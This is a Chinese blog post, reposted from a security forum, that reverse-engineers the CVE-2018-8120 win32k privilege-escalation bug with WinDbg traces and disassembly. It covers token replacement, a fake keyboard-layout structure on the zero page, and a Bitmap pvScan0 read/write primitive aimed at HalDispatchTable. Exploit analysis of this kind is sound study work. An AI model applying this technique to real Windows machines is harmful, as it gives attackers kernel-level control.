windows修改内存读写权限_Windows提权逆向

最新推荐文章于 2023-06-22 15:03:44 发布

weixin_39857792

最新推荐文章于 2023-06-22 15:03:44 发布

阅读量598

点赞数

文章标签： windows修改内存读写权限

本文为看雪论坛优秀文章

看雪论坛作者ID：东方二狗

01 Windows内核提权思路
提权一
提权二
提权三
02 成因
03 利用
04 逆向
窗口站
SetBitmap
总结

一个小白对于Windows提权以及逆向的学习，文章中说的思路可能有不对的，希望不要介意！！！

01 Windows内核提权思路

内核提权最终都是通过读写来做一些事情所有内核提权都是获取一个system值从而获得最高权限。

>>>>提权一

替换当前进程EPROCESS结构的token为system的token。

>>>>提权二

替换当前进程EPROCESS结构体token所指向的数据。

>>>>提权三

3环直接写shellcode是不行的因为当前进程eprocess位于内核空间，要进行读写代码必须在0环中，如果在3环进行读写会出现保护异常。用户层可以通过调用系统服务来访问内核层代码。

02 成因

win32k.sys组件中创建窗口站对象(CreateWindowStationW)时候，SetImeInfoEx函数没有对指针进行安全验证; 对应指针指向零页内存，然后在它下一次使用之前有代码对该区域进行修改触发蓝屏。

03 利用

需要提权申请一块堆大小并且构造这块内存中的数据释放后指向shellcode位置，当提权完成后再恢复这块数据。

04 逆向

以2018-8120为例子进行傻瓜式分析开始啦，前提需要进入当前进程所对应的内核空间。

1: kd> !process 0 0 test.exe
1: kd> .process /i 87b06c08
1: kd> g
0: kd> .reload /f /user
0: kd> .process

>>>>窗口站

窗口站是和当前进程和会话(session)相关联的一个内核对象，它包含剪贴板(clipboard)、原子表、一个或多个桌面(desktop)对象。

用户调用CreateWindowStation创建新的窗口站时，最终会调用内核函数xxxCreateWindowStation执行窗口站的创建，但是在该函数执行期间，被创建的新窗口站实例的spklList指针并没有被初始化，指向的是空地址。

a.HWINSTA hSta = CreateWindowStationW(0, 0, READ_CONTROL, 0)；

hSta 句柄=58，对应在内核中窗口站地址是87a85d48：

001b:01246909 8bf4 mov esi,esp //
001b:0124690b 6a00 push 0        //0
001b:0124690d 6800000200      push 20000h //READ_CONTROL
001b:01246912 6a00 push 0   //0
001b:01246914 6a00 push 0   //0
001b:01246916 ff1588522c01 call dword ptr [test!_imp__CreateWindowStationW (012c5288)]

b.CreateBitmap getpvscsn0

下断点得到下边四个值CreateBitmap创建的句柄是gManger=1205067e。

001b:012469be 8bf4 mov esi,esp
001b:012469c0 8d85d0fcffff lea eax,[ebp-330h] //002cf450 00000090
001b:012469c6 50              push eax //eax=002cf450=buff
001b:012469c7 6a20 push 20h
001b:012469c9 6a01 push 1
001b:012469cb 6a01 push 1
001b:012469cd 6a60 push 60h
001b:012469cf ff1504502c01 call    dword ptr [test!_imp__CreateBitmap (012c5004)]

同理所得：gWorker=180504e7 mpv=fe667038,wpv=fdab8368

//堆栈变化
002c30e4 00000060
002c30e8 00000001
002c30ec 00000001
002c30f0 00000020

c.自己申请一块空间的地址

构造tagkl(目标键盘布局)对象的结构体指针piiex指向的输入法信息对象的缓冲区。

001b:01246a66 c78594fcffff00000000 mov dword ptr [ebp-36Ch],0    //002cf414 00000000 ==>P_tagKL pkl =0
001b:01246a70 8b8594fcffff mov eax,dword ptr [ebp-36Ch] //eax=00000000==>pkl->hkl
001b:01246a76 8b8da0fcffff mov ecx,dword ptr [ebp-360h] //ecx=fdab8368=wpv
001b:01246a7c 894814          mov dword ptr [eax+14h],ecx //[eax+14]==>[0+14]==>pkl->hkl = (HKL__ *)wpv;
001b:01246a7f 8b85acfcffff mov eax,dword ptr [ebp-354h]
001b:01246a85 83e804 sub eax,4   //eax-4=eax=fe667034
001b:01246a88 8b8d94fcffff mov ecx,dword ptr [ebp-36Ch] //002cf414 00000000 ==>ecx=00000000==>pkl
001b:01246a8e 89412c mov dword ptr [ecx+2Ch],eax //eax=fe667034==>0000002c fe667034
001b:01246a91 685c010000 push 15Ch
001b:01246a96 8d8530fbffff lea eax,[ebp-4D0h]
001b:01246a9c 50              push eax
001b:01246a9d e816c7ffff call test!ILT+435(_RtlSecureZeroMemory) (012431b8)

自己申请内存地址初始化002cf2b0 =0xccc。

当触发漏洞时候：002cf2b0变成自己构造的数值了具体汇编这里不做过多的介绍了。

下图书触发漏洞以及在申请的内存里面构造了自己需要的数据。

验证自己找的gManger gWork等值是否正确。

>>>>SetBitmap

a. Bitmap分析

思路：SetBitmapBits --> NtGdiSetBitmapBits --> GreSetBitmapBits --> bDoGetSetBitmapBits--> memcpy

(1)setbitmap代码分析

SetBitmapBits((HBITMAP)gManger, sizeof(PVOID), &oaddr)；

001b:01246be5 8bf4 mov esi,esp
001b:01246be7 8d850cfbffff lea eax,[ebp-4F4h] &oaddr
001b:01246bed 50              push eax //eax=002cf28c
001b:01246bee 6a04 push 4                            // 00000004 ==》sizeof
001b:01246bf0 8b8dc4fcffff mov ecx,dword ptr [ebp-33Ch] //1205067e==》gManger
001b:01246bf6 51              push ecx //push 1205067e
001b:01246bf7 ff1508502c01 call dword ptr [test!_imp__SetBitmapBits (012c5008)]

NtGdiSetBitmapBits(int a1, SIZE_T Size, PVOID Address)

b. bp win32k!NtGdiSetBitmapBits下断点进行分析

v6 = GreSetBitmapBits(a1, Size, Address, &v4)；进行分析。

win32k!NtGdiSetBitmapBits+0x67:
940d3b0b 8d45dc lea eax,[ebp-24h] 8c16abe8 8c16abfc
940d3b0e 50              push eax //push 8c16abfc==>&v4 ==>8c16abfc 00000000 ==>0
940d3b0f ff7510 push dword ptr [ebp+10h] //002cf28c ==> Address ==>002cf28c 83f6e3fc nt!HalDispatchTable+0x4
940d3b12 ff750c push dword ptr [ebp+0Ch] //push 00000004 ==>sizeof
940d3b15 ff7508 push dword ptr [ebp+8] //push 1205067e ==>gManger==>a1
940d3b18 e8dbcf0800 call win32k!GreSetBitmapBits (94160af8)

c.bp win32k!bDoGetSetBitmapBits下断点进行分析

v9是算出来的计算公式如下：

代码如下：

win32k!GreSetBitmapBits+0x169:
94160c61 53              push ebx
94160c62 8d4d80 lea ecx,[ebp-80h] 8c16ab44 00000000
94160c65 51              push ecx //8c16ab40 8c16ab54 ==>ecx=8c16ab54==>(struct _SURFOBJ *)&v12 ==> _SURFOBJ *a2
94160c66 50              push eax //8c16ab3c fe667018 ==>eax = fe667018 ==》v9=fdf6bd38 +20= FDF6BD58 =wpv ==> _SURFOBJ *a1
/*

*/
94160c67 e8a5000000 call win32k!bDoGetSetBitmapBits (94160d11)

v9计算过程gManager句柄的后3位，wpv+20位置。

(1)由于漏洞中的memcpy大小不可控，所以回覆盖一部分的SURFOBJ成员，所以我们需要修复某些在Set/GetBitMapBits时所必须的成员

利用Bitmap内核对象中的pvScan0字段+10的位置系统API的GetBitmapBits和SetBitmapBits可以读写pvScan0所指向内存地址的内容。

(2)因此这个v9计算公式俩种。

d.拷贝

win32k!bDoGetSetBitmapBits+0x30a:
9416101b c745fc05000000 mov dword ptr [ebp-4],5   8c16ab30 00000005
94161022 53              push ebx ebx=00000004
94161023 ff750c push dword ptr [ebp+0Ch] 8c16ab40 002cf28c ==>002cf28c==>002cf28c 83f6e3fc nt!HalDispatchTable+0x4
94161026 ff7508 push dword ptr [ebp+8] 8c16ab3c fdab8368 ==》fdab8368==》wpv
 
win32k!bDoGetSetBitmapBits+0x318:
94161029 e87208ffff call    win32k!memcpy (941518a0) fdab8368 ==>wpv